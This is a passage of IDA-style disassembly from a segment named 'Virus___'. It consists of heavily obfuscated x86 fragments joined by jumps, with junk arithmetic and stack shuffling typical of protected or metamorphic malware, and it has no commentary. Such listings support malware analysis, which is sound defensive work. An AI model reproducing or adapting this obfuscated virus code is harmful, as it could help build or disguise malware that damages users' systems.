loc_581A52:				; CODE XREF: Virus___:00593D02j
		pop	esi
		jmp	loc_586EF2
; ---------------------------------------------------------------------------


loc_581A58:				; CODE XREF: Virus___:0058BFCBj
		xchg	esi, [esp]
		pop	esp
		mov	edx, ebx
		pop	ebx
		jmp	loc_58CC08
; ---------------------------------------------------------------------------


loc_581A64:				; CODE XREF: Virus___:0058D637j
		mov	edi, [esp]
		jmp	loc_58D374
; ---------------------------------------------------------------------------


loc_581A6C:				; CODE XREF: Virus___:00585BCBj
		mov	[esp], esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_582772
; ---------------------------------------------------------------------------


loc_581A77:				; CODE XREF: Virus___:0059304Fj
		mov	[esp], esp
		jmp	loc_590507
; ---------------------------------------------------------------------------


loc_581A7F:				; CODE XREF: Virus___:0058AB11j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 382668CAh
		jmp	loc_58B88A
; ---------------------------------------------------------------------------


loc_581A96:				; CODE XREF: Virus___:005943A1j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_581D75
; ---------------------------------------------------------------------------


loc_581AAD:				; CODE XREF: Virus___:0058144Aj
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_590931
; ---------------------------------------------------------------------------


loc_581ACE:				; CODE XREF: Virus___:00580653j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5855E3
; ---------------------------------------------------------------------------


loc_581ADC:				; CODE XREF: Virus___:00591BDBj
		mov	edi, 4
		add	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_590D04
; ---------------------------------------------------------------------------


loc_581AFA:				; CODE XREF: Virus___:00590941j
		shr	edi, 6
		jmp	loc_58FAF2
; ---------------------------------------------------------------------------


loc_581B02:				; CODE XREF: Virus___:00592993j
		mov	[esp], eax
		jmp	loc_58FED7
; ---------------------------------------------------------------------------


loc_581B0A:				; CODE XREF: Virus___:0058998Aj
		mov	edx, [esp]
		add	esp, 4
		not	esi
		or	esi, 326C4205h
		and	esi, 728625A6h
		push	edx
		mov	edx, 0C1E52E52h
		add	esi, edx
		jmp	loc_582538
; ---------------------------------------------------------------------------


loc_581B2B:				; CODE XREF: Virus___:005873EFj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_592123
; ---------------------------------------------------------------------------


loc_581B49:				; CODE XREF: Virus___:00580E3Bj
		pop	esp
		sub	esp, 4
		jmp	loc_582DFE
; ---------------------------------------------------------------------------


loc_581B55:				; CODE XREF: Virus___:0057FD73j
		pop	ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_57FA46
; ---------------------------------------------------------------------------


loc_581B5F:				; CODE XREF: Virus___:00591979j
		pop	ebp
		push	69FBh
		mov	[esp], ecx
		mov	ecx, 77B85F7Ah
		and	ecx, 6BA17281h
		not	ecx
		jmp	loc_58C2BB
; ---------------------------------------------------------------------------


loc_581B7A:				; CODE XREF: Virus___:0057FB07j
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_586D33
; ---------------------------------------------------------------------------


loc_581B8D:				; CODE XREF: Virus___:0058431Dj
		not	eax
		xchg	eax, edx
		shl	edx, 4
		shl	edx, 7
		push	esi
		jmp	loc_5855ED
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_581BA3:				; CODE XREF: Virus___:005810A9j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5810BB
; ---------------------------------------------------------------------------


loc_581BB1:				; CODE XREF: Virus___:0058DFE9j
		mov	edx, ebp
		pop	ebp
		jmp	loc_58B03D
; ---------------------------------------------------------------------------


loc_581BB9:				; CODE XREF: Virus___:0058C23Cj
		mov	ebp, 77DD00F5h
		sub	ebp, 12902488h
		jmp	loc_5916C5
; ---------------------------------------------------------------------------


loc_581BC9:				; CODE XREF: Virus___:005868C6j
		sub	dword ptr [esp], 38217EEEh
		sub	dword ptr [esp], 16481E01h
		add	[esp], eax
		add	dword ptr [esp], 16481E01h
		add	dword ptr [esp], 38217EEEh
		add	dword ptr [esp], 1A270839h
		jmp	loc_5867A2
; ---------------------------------------------------------------------------


loc_581BF4:				; CODE XREF: Virus___:00594412j
		not	ecx
		sub	ecx, 715C3B40h
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		jmp	loc_58CB58
; ---------------------------------------------------------------------------


loc_581C0D:				; CODE XREF: Virus___:0058690Dj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_581C26:				; CODE XREF: Virus___:0058EA84j
		push	864h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_589163
; ---------------------------------------------------------------------------


loc_581C36:				; CODE XREF: Virus___:0058803Dj
		sub	ebp, 1
		not	ebp
		xor	ebp, 0E660A9FAh
		jmp	loc_58C01D
; ---------------------------------------------------------------------------


loc_581C49:				; CODE XREF: Virus___:0058D8B7j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57FD14
; ---------------------------------------------------------------------------


loc_581C54:				; CODE XREF: Virus___:0058CEB5j
		push	ebx
		mov	ebx, 4ABB497Dh
		jmp	loc_5805AA
; ---------------------------------------------------------------------------


loc_581C5F:				; CODE XREF: Virus___:0058C758j
		xor	edi, ecx
		jmp	loc_591E32
; ---------------------------------------------------------------------------


loc_581C66:				; CODE XREF: Virus___:005859A3j
		sub	ebp, edi
		jmp	loc_5913F8
; ---------------------------------------------------------------------------


loc_581C6D:				; CODE XREF: Virus___:0058C8CEj
		neg	ebx
		neg	ebx
		sub	ebx, 4019371Eh
		jmp	loc_585701
; ---------------------------------------------------------------------------


loc_581C7C:				; CODE XREF: Virus___:005885FCj
		mov	[edi+20h], ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	eax
		jmp	loc_581F04
; ---------------------------------------------------------------------------


loc_581C93:				; CODE XREF: Virus___:00587F40j
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_58C3E2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_586C44
; ---------------------------------------------------------------------------


loc_581CB6:				; CODE XREF: Virus___:005820D8j
		add	edx, ebx
		add	edx, 7AA1556Dh
		jmp	loc_588EA9
; ---------------------------------------------------------------------------


loc_581CC3:				; CODE XREF: Virus___:0058A9AFj
		mov	edi, 2D5468B2h
		jmp	loc_58876D
; ---------------------------------------------------------------------------


loc_581CCD:				; CODE XREF: Virus___:0059243Dj
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5864A6
; ---------------------------------------------------------------------------


loc_581CE3:				; CODE XREF: Virus___:005870AEj
		add	eax, 46403619h
		pop	ecx
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 35214BE8h
		xor	esi, 14FA47D6h
		neg	esi
		xor	esi, 6307C6Bh
		not	esi
		and	esi, 26242B4Dh
		sub	esi, 26202040h
		sub	ebx, esi
		jmp	loc_58B354
; ---------------------------------------------------------------------------


loc_581D26:				; CODE XREF: Virus___:0058C345j
		not	edi
		and	edi, 172D21EDh
		jmp	loc_588601
; ---------------------------------------------------------------------------


loc_581D33:				; CODE XREF: Virus___:00585390j
		pop	ebx
		jmp	loc_58090D
; ---------------------------------------------------------------------------


loc_581D39:				; CODE XREF: Virus___:00590BE1j
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_58EC13
; ---------------------------------------------------------------------------


loc_581D42:				; CODE XREF: Virus___:00582550j
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58FE97
; ---------------------------------------------------------------------------


loc_581D51:				; CODE XREF: Virus___:005862E8j
		mov	esi, 4
		add	ebx, esi
		jmp	loc_591689
; ---------------------------------------------------------------------------


loc_581D5D:				; CODE XREF: Virus___:00582215j
		mov	esi, edx
		jmp	loc_57FF98
; ---------------------------------------------------------------------------


loc_581D64:				; CODE XREF: Virus___:00582E8Ej
		add	esp, 4
		add	edx, 75D16975h
		jmp	loc_58C8F3
; ---------------------------------------------------------------------------


loc_581D75:				; CODE XREF: Virus___:00581AA8j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_581D80:				; CODE XREF: Virus___:0058833Ej
		mov	[esp], ebp
		mov	ebp, 0C9696Bh
		jmp	loc_584234
; ---------------------------------------------------------------------------


loc_581D8D:				; CODE XREF: Virus___:00591DEAj
		mov	ebx, 601B31BCh
		or	ebx, 338B244Ch
		or	ebx, 40A8669Bh
		sub	ebx, 5401154Eh
		xor	ebx, 1B4A7168h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_586558
; ---------------------------------------------------------------------------


loc_581DB2:				; CODE XREF: Virus___:00588E4Ej
		sub	[esp], ebx
		jmp	loc_59180B
; ---------------------------------------------------------------------------


loc_581DBA:				; CODE XREF: Virus___:00594493j
		sub	edi, 245136C3h
		sub	edi, 755E3E05h
		add	edi, 0F19D59FCh
		xor	eax, edi
		pop	edi
		sub	esi, eax
		jmp	loc_5859C6
; ---------------------------------------------------------------------------


loc_581DD6:				; CODE XREF: Virus___:0058709Dj
		mov	esp, [esp]
		push	ecx
		push	ebx
		mov	bl, 42h
		jmp	loc_58C7F4
; ---------------------------------------------------------------------------


loc_581DE2:				; CODE XREF: Virus___:00590E48j
		mov	ebx, 0C5A33549h
		xor	edi, ebx
		pop	ebx
		jmp	loc_5881D1
; ---------------------------------------------------------------------------


loc_581DEF:				; CODE XREF: Virus___:00592252j
		or	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 54C76E5Bh
		jmp	loc_58357F
; ---------------------------------------------------------------------------


loc_581DFD:				; CODE XREF: Virus___:00582DAFj
		shr	eax, 2
		sub	eax, 1
		dec	eax
		or	eax, 11F05669h
		add	eax, 5B12C1D4h
		sub	esi, eax
		pop	eax
		sub	ebx, 1822139Dh
		add	ebx, esi
		add	ebx, 1822139Dh
		mov	esi, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_58B439
; ---------------------------------------------------------------------------


loc_581E3B:				; CODE XREF: Virus___:00583A98j
		shr	ecx, 6
		add	ecx, 59799CFDh
		sub	ebx, ecx
		pop	ecx
		pop	dword ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_581E4E:				; CODE XREF: Virus___:005824B9j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_58CA7A
; ---------------------------------------------------------------------------


loc_581E5B:				; CODE XREF: Virus___:0058FC1Aj
		pop	esp
		push	6B44h
		mov	[esp], edx
		push	ebp
		jmp	loc_594092
; ---------------------------------------------------------------------------


loc_581E6A:				; CODE XREF: Virus___:00582475j
		add	ebx, ebp
		add	ebx, 7D5746h
		jmp	loc_58C8D3
; ---------------------------------------------------------------------------


loc_581E77:				; CODE XREF: Virus___:00581E8Bj
		pop	eax
		or	cl, dl
		mov	dx, [esp]
		add	esp, 2
		shr	cl, 1
		jmp	loc_57FB1A
; ---------------------------------------------------------------------------


loc_581E88:				; CODE XREF: Virus___:005930BDj
		add	esp, 4
		jmp	loc_581E77
; ---------------------------------------------------------------------------


loc_581E90:				; CODE XREF: Virus___:00584B3Ej
		pop	ebx
		sub	cl, 23h
		push	4ABEh
		mov	[esp], ebx
		push	ecx
		mov	cl, 2Ah
		shl	cl, 4
		jmp	loc_586EEB
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_57F7E5
; ---------------------------------------------------------------------------


loc_581EAF:				; CODE XREF: Virus___:0058DC55j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7A965325h
		shl	eax, 1
		add	eax, 558351Bh
		sub	eax, 11EC6C3Eh
		shl	eax, 6
		jmp	loc_58BFD0
; ---------------------------------------------------------------------------


loc_581ECE:				; CODE XREF: Virus___:00580A76j
		add	ecx, esi
		pop	esi
		jmp	loc_58BC24
; ---------------------------------------------------------------------------


loc_581ED6:				; CODE XREF: Virus___:00592F3Ej
		pop	esp
		mov	[esp], esp
		push	esi
		jmp	loc_58C5FA
; ---------------------------------------------------------------------------


loc_581EE0:				; CODE XREF: Virus___:0058FA4Ej
		sub	edi, eax
		jmp	loc_5913E1
; ---------------------------------------------------------------------------


loc_581EE7:				; CODE XREF: Virus___:0058F9D5j
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		push	small 3FD0h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_581F04:				; CODE XREF: Virus___:00581C8Ej
		mov	eax, esp
		jmp	loc_588B85
; ---------------------------------------------------------------------------


loc_581F0B:				; CODE XREF: Virus___:005881B8j
		add	esp, 4
		jmp	loc_58AC7D
; ---------------------------------------------------------------------------


loc_581F13:				; CODE XREF: Virus___:0058E0C1j
		dec	ebp
		neg	ebp
		jmp	loc_5944B3
; ---------------------------------------------------------------------------
unk_581F1B	db    0			; CODE XREF: Virus___:0058B8F8j
; ---------------------------------------------------------------------------
		enter	6659h, 52h
		mov	dl, 0Dh
		sub	al, dl
		pop	dx
		add	al, bl
		add	al, 0Dh
		sub	al, 50h
		jmp	loc_580BE1
; ---------------------------------------------------------------------------


loc_581F31:				; CODE XREF: Virus___:00592CFEj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58D982
; ---------------------------------------------------------------------------


loc_581F3C:				; CODE XREF: Virus___:00580D66j
		push	eax
		mov	eax, 28C360B7h
		xor	eax, 28C360B3h
		jmp	loc_5831AD
; ---------------------------------------------------------------------------


loc_581F4C:				; CODE XREF: Virus___:00589205j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	345Ah
		mov	[esp], ebx
		jmp	loc_5849A8
; ---------------------------------------------------------------------------


loc_581F63:				; CODE XREF: Virus___:0058E6D5j
		shl	ebx, 8
		jmp	loc_57F730
; ---------------------------------------------------------------------------


loc_581F6B:				; CODE XREF: Virus___:0058DB3Dj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 75100A84h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 10E73F69h
		jmp	loc_58179F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	788Dh
		mov	[esp], ebp
		push	ecx
		jmp	loc_58FA32
; ---------------------------------------------------------------------------


loc_581FA4:				; CODE XREF: Virus___:0058F80Fj
		add	esp, 4
		xor	ecx, 0FFD83A9Dh
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_58633B
; ---------------------------------------------------------------------------


loc_581FBA:				; CODE XREF: Virus___:0058E9F2j
		mov	fs:[edx], ax
		jmp	loc_583702
; ---------------------------------------------------------------------------


loc_581FC3:				; CODE XREF: Virus___:0057FB98j
		dec	ebx
		inc	ebx
		shr	ebx, 6
		jmp	loc_58B14A
; ---------------------------------------------------------------------------


loc_581FCD:				; CODE XREF: Virus___:0058CBADj
		add	cl, bh
		pop	ebx
		xor	dh, cl
		pop	ecx
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_58D8A0
; ---------------------------------------------------------------------------


loc_581FDD:				; CODE XREF: Virus___:00591E42j
		pop	esp
		jmp	loc_58372D
; ---------------------------------------------------------------------------


loc_581FE3:				; CODE XREF: Virus___:0058E815j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	ebx, eax
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_583341
; ---------------------------------------------------------------------------


loc_582009:				; CODE XREF: Virus___:00580684j
		and	eax, edi
		pop	edi
		jmp	loc_584BEC
; ---------------------------------------------------------------------------


loc_582011:				; CODE XREF: Virus___:00591547j
		push	eax
		mov	eax, 17F3EBFh
		sub	eax, 0EE3E33CFh
		sub	edx, eax
		jmp	loc_582F75
; ---------------------------------------------------------------------------


loc_582023:				; CODE XREF: Virus___:005823ABj
		mov	eax, [esp]
		jmp	loc_58ABAD
; ---------------------------------------------------------------------------


loc_58202B:				; CODE XREF: Virus___:0057F720j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_58AAFE
; ---------------------------------------------------------------------------


loc_58203A:				; CODE XREF: Virus___:0058EA03j
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 449B7E3Eh
		jmp	loc_5920B1
; ---------------------------------------------------------------------------


loc_58205A:				; CODE XREF: Virus___:0059115Dj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_592E40
; ---------------------------------------------------------------------------


loc_582068:				; CODE XREF: Virus___:00584DD9j
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_58C7BB
; ---------------------------------------------------------------------------


loc_582075:				; CODE XREF: Virus___:005825D5j
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	esi
		push	esp
		pop	esi
		jmp	loc_58EA89
; ---------------------------------------------------------------------------


loc_582088:				; CODE XREF: Virus___:0058E8CAj
		push	ecx
		mov	ecx, 7A19335Dh
		xor	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 5F252468h
		add	ebp, 1CC90F2Ch
		push	eax
		push	ebp
		mov	ebp, 49E450ABh
		mov	eax, 39544EFFh
		xor	eax, ebp
		pop	ebp
		add	ebp, 6C6D62A0h
		add	ebp, eax
		jmp	loc_588F17
; ---------------------------------------------------------------------------


loc_5820B9:				; CODE XREF: Virus___:00586D41j
		pop	ecx
		jmp	loc_58EB70
; ---------------------------------------------------------------------------


loc_5820BF:				; CODE XREF: Virus___:0058AB24j
		add	edx, 57023F39h
		add	edx, 4F3E3E0Eh
		pop	eax
		push	ebx
		mov	ebx, 4
		sub	edx, 7AA1556Dh
		jmp	loc_581CB6
; ---------------------------------------------------------------------------


loc_5820DD:				; CODE XREF: Virus___:00583CD4j
		xchg	edi, [esp]
		jmp	loc_5925B5
; ---------------------------------------------------------------------------


loc_5820E5:				; CODE XREF: Virus___:00593DF3j
		add	esp, 4
		push	7056h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_593175
; ---------------------------------------------------------------------------


loc_582103:				; CODE XREF: Virus___:0058E5B0j
		push	3BABh
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58DA73
; ---------------------------------------------------------------------------


loc_582120:				; CODE XREF: Virus___:00587363j
		pop	esp
		jmp	loc_58BC76
; ---------------------------------------------------------------------------


loc_582126:				; CODE XREF: Virus___:00583A1Cj
		mov	ebp, [esp]
		push	edx
		jmp	loc_5911A3
; ---------------------------------------------------------------------------


loc_58212F:				; CODE XREF: Virus___:0058ED7Fj
		push	edx
		push	esi
		push	eax
		jmp	loc_58C0CE
; ---------------------------------------------------------------------------


loc_582137:				; CODE XREF: Virus___:00591E5Ej
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_587D6C
; ---------------------------------------------------------------------------


loc_582140:				; CODE XREF: Virus___:0058A72Fj
		mov	esp, [esp]
		jmp	loc_580D8A
; ---------------------------------------------------------------------------


loc_582148:				; CODE XREF: Virus___:00584928j
		mov	edx, [esp]
		add	esp, 4


loc_582151:				; CODE XREF: Virus___:005928AEj
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 90B503Ch
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_5806F7
; ---------------------------------------------------------------------------


loc_582182:				; CODE XREF: Virus___:0058BB84j
		dec	ebp
		shl	ebp, 7
		sub	ebp, 421C57Ch
		sub	ebx, 62D097Fh
		sub	ebx, ebp
		add	ebx, 62D097Fh
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	ebp
		mov	ebp, 2719470Bh
		add	ebp, 7C5364D9h
		xor	ebp, 990AD90Eh
		push	ecx
		mov	ecx, ebp
		jmp	loc_5941E2
; ---------------------------------------------------------------------------


loc_5821BD:				; CODE XREF: Virus___:00584421j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 20CD14CFh
		sub	esp, 4
		mov	[esp], ebx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_582A15
; ---------------------------------------------------------------------------


loc_5821E7:				; CODE XREF: Virus___:0058C283j
		push	1D08h
		mov	[esp], ebp
		mov	ebp, 5A616FEh
		jmp	loc_5817AB
; ---------------------------------------------------------------------------


loc_5821F9:				; CODE XREF: Virus___:00582B2Fj
		sub	dword ptr [esp], 48AF343Ch
		jmp	loc_5894BC
; ---------------------------------------------------------------------------


loc_582205:				; CODE XREF: Virus___:00591FFDj
		mov	esi, [esp]
		jmp	loc_58E06C
; ---------------------------------------------------------------------------


loc_58220D:				; CODE XREF: Virus___:00580BDCj
		neg	edx
		xor	edx, 0C95D01E4h
		jmp	loc_581D5D
; ---------------------------------------------------------------------------


loc_58221A:				; CODE XREF: Virus___:0058B8ABj
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_584711
; ---------------------------------------------------------------------------


loc_582228:				; CODE XREF: Virus___:00589631j
		push	ebp
		push	21A1h
		jmp	loc_58BF9C
; ---------------------------------------------------------------------------


loc_582233:				; CODE XREF: Virus___:00583C1Fj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_592C97
; ---------------------------------------------------------------------------


loc_58223F:				; CODE XREF: Virus___:005932BCj
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	al, 0E8h
		jmp	loc_59144A
; ---------------------------------------------------------------------------


loc_582251:				; CODE XREF: Virus___:0058B8A0j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58AB5A
; ---------------------------------------------------------------------------


loc_582261:				; CODE XREF: Virus___:00591D4Cj
		mov	al, 2Bh
		xor	bh, al
		mov	ax, [esp]
		jmp	loc_58BF81
; ---------------------------------------------------------------------------


loc_58226E:				; CODE XREF: Virus___:005890C1j
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 7
		shl	ebp, 7
		jmp	loc_580476
; ---------------------------------------------------------------------------


loc_58227C:				; CODE XREF: Virus___:00589253j
		push	edi
		jmp	loc_580839
; ---------------------------------------------------------------------------


loc_582282:				; CODE XREF: Virus___:0058E83Bj
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ecx
		push	5610h
		jmp	loc_57F93F
; ---------------------------------------------------------------------------


loc_582295:				; CODE XREF: Virus___:00584286j
		pop	edi
		not	ecx
		inc	ecx
		not	ecx
		not	ecx
		jmp	loc_58094E
; ---------------------------------------------------------------------------


loc_5822A2:				; CODE XREF: Virus___:00580691j
		pop	ecx
		push	edi
		push	ecx
		mov	ecx, 432F04A1h
		mov	edi, 0F9AB4509h
		add	edi, ecx
		pop	ecx
		sub	edi, 0FFFFFFFFh
		xor	edi, 0A067762Ah
		sub	eax, edi
		pop	edi
		add	edi, 3C335A54h
		add	edi, 5C5968AEh
		add	edi, eax
		sub	edi, 5C5968AEh
		sub	edi, 3C335A54h
		pop	eax
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_580F9F
; ---------------------------------------------------------------------------


loc_5822E1:				; CODE XREF: Virus___:00587E2Aj
		push	eax
		jmp	loc_58E11C
; ---------------------------------------------------------------------------


loc_5822E7:				; CODE XREF: Virus___:00591008j
		push	ebp
		push	edi
		mov	edi, 5C4009Eh
		mov	ebp, 5F306509h
		add	ebp, edi
		jmp	loc_5850D8
; ---------------------------------------------------------------------------


loc_5822FA:				; CODE XREF: Virus___:0058398Aj
		push	ebp
		jmp	loc_58ABE1
; ---------------------------------------------------------------------------


loc_582300:				; CODE XREF: Virus___:0058689Fj
		push	50CEh
		mov	[esp], esi
		jmp	loc_5860DB
; ---------------------------------------------------------------------------


loc_58230D:				; CODE XREF: Virus___:00587D0Bj
		add	edi, 4CD03D7Ah
		jmp	loc_58B73C
; ---------------------------------------------------------------------------


loc_582318:				; CODE XREF: Virus___:00584A44j
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 24ED5E45h
		jmp	loc_5933ED
; ---------------------------------------------------------------------------


loc_582334:				; CODE XREF: Virus___:0058558Aj
		add	edi, 39EF7165h
		pop	ebp
		jmp	loc_58F20A
; ---------------------------------------------------------------------------


loc_582340:				; CODE XREF: Virus___:00583C8Ej
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_587120
; ---------------------------------------------------------------------------


loc_58235D:				; CODE XREF: Virus___:0058F2D4j
		mov	eax, [esp]
		jmp	loc_591E29
; ---------------------------------------------------------------------------


loc_582365:				; CODE XREF: Virus___:0058DF5Fj
		mov	edx, esp
		jmp	loc_58194B
; ---------------------------------------------------------------------------


loc_58236C:				; CODE XREF: Virus___:00587712j
		add	esp, 4
		add	esp, 4
		jmp	loc_58D95B
; ---------------------------------------------------------------------------


loc_582377:				; CODE XREF: Virus___:00590C33j
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_58422A
; ---------------------------------------------------------------------------


loc_582388:				; CODE XREF: Virus___:00593FBAj
		mov	eax, 1DA932DBh
		add	eax, 347013A3h
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_592314
; ---------------------------------------------------------------------------


loc_58239C:				; CODE XREF: Virus___:00587FF3j
		mov	[esp], ecx
		push	eax
		push	8AB20BDh
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		jmp	loc_582023
; ---------------------------------------------------------------------------


loc_5823B0:				; CODE XREF: Virus___:005809A4j
		add	ax, dx
		pop	dx
		sub	ax, 0E851h
		add	cx, 6544h
		add	cx, ax
		sub	cx, 6544h
		pop	eax
		sub	ax, cx
		push	dword ptr [esp]
		jmp	loc_58E18C
; ---------------------------------------------------------------------------


loc_5823D2:				; CODE XREF: Virus___:0058E2E7j
		mov	ebp, ecx
		pop	ecx
		add	ebx, ebp
		pop	ebp
		jmp	loc_58CF2C
; ---------------------------------------------------------------------------


loc_5823DD:				; CODE XREF: Virus___:005944C5j
		push	eax
		mov	eax, 7E2D2A74h
		add	edi, eax
		jmp	loc_585A24
; ---------------------------------------------------------------------------


loc_5823EA:				; CODE XREF: Virus___:005806AAj
		add	ebp, ebx
		jmp	loc_58CD27
; ---------------------------------------------------------------------------


loc_5823F1:				; CODE XREF: Virus___:00583162j
		mov	[esp], ecx
		mov	ecx, 0CC449E6h
		mov	edi, ecx
		pop	ecx
		mov	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 7BB62D8Dh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 39516FBEh
		mov	edx, 0C1CBE730h
		sub	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		push	ebx
		push	53E6h
		mov	[esp], esi
		mov	esi, ebp
		mov	ebx, esi
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5860A9
; ---------------------------------------------------------------------------


loc_582446:				; CODE XREF: Virus___:0059432Fj
		inc	esi
		dec	esi
		add	esi, 0A7420000h
		sub	edx, esi
		jmp	loc_593D07
; ---------------------------------------------------------------------------


loc_582455:				; CODE XREF: Virus___:0058B67Ej
		pop	ebx
		push	ebp
		mov	ebp, 0D244096h
		dec	ebp
		sub	ebp, 508C4AE7h
		and	ebp, 78016C50h
		sub	ebp, 380163FCh
		sub	ebx, 7D5746h
		jmp	loc_581E6A
; ---------------------------------------------------------------------------


loc_58247A:				; CODE XREF: Virus___:005935F5j
		pop	esp
		xor	edx, [edi+24h]
		push	ecx
		mov	ecx, 24h
		add	ecx, 7FCD502Fh
		add	ecx, edi
		jmp	loc_591A97
; ---------------------------------------------------------------------------


loc_582491:				; CODE XREF: Virus___:005927E8j
		mov	[esp], ebx
		mov	ebx, 5868458Bh
		shl	ebx, 2
		xor	ebx, 0E881852h
		dec	ebx
		not	ebx
		and	ebx, 34906BBh
		xor	ebx, 0F0EADFC1h
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_581E4E
; ---------------------------------------------------------------------------


loc_5824BE:				; CODE XREF: Virus___:00580D1Bj
